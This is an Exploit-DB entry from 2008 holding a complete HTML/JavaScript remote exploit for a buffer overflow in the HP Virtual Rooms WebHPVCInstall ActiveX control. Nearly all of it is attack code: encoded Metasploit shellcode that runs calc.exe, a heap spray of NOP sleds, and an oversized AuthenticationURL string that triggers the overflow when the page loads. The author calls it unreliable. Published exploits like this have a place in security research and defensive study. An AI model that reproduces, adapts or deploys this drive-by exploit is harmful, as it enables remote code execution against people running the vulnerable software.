Exploit-DB #4959
Description: HP Virtual Rooms WebHPVCInstall Control - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-01-22
Author: Elazar

Exploit:
<!-- 
HP Virtual Rooms WebHPVCInstall Control Buffer Overflow Exploit
written by e.b.
Note that I did not have time to work out some heap fragmentation issues so this code is NOT reliable...
Tested on Windows XP SP2(fully patched) English, IE6, hpvirtualrooms14.dll version 1.0.0.100
Thanks to rgod, h.d.m. and the Metasploit crew 
-->
<html>
 <head>
  <title>HP Virtual Rooms WebHPVCInstall Control Buffer Overflow Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     
   


// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com 
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");



	var bigblock = unescape("%u9090%u9090");
	var headersize = 20;
	var slackspace = headersize + shellcode1.length;
	while (bigblock.length < slackspace) bigblock += bigblock;
	var fillblock = bigblock.substring(0,slackspace);
	var block = bigblock.substring(0,bigblock.length - slackspace);
	while (block.length + slackspace < 0x40000) block = block + block + fillblock;

	

	var memory = new Array();
	for (i = 0; i < 700; i++){ memory[i] = block + shellcode1 }
		
	var buf = "";
	for (i = 0; i < 15000; i++) { buf = buf + unescape("%u0A0A%u0A0A") }

 	obj.AuthenticationURL = buf;  
 } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:[PII_REDACTED]-8B29-930B3E4EDCCD">
     Unable to create object
    </object>
 </body>
</html>

# milw0rm.com [2008-01-22]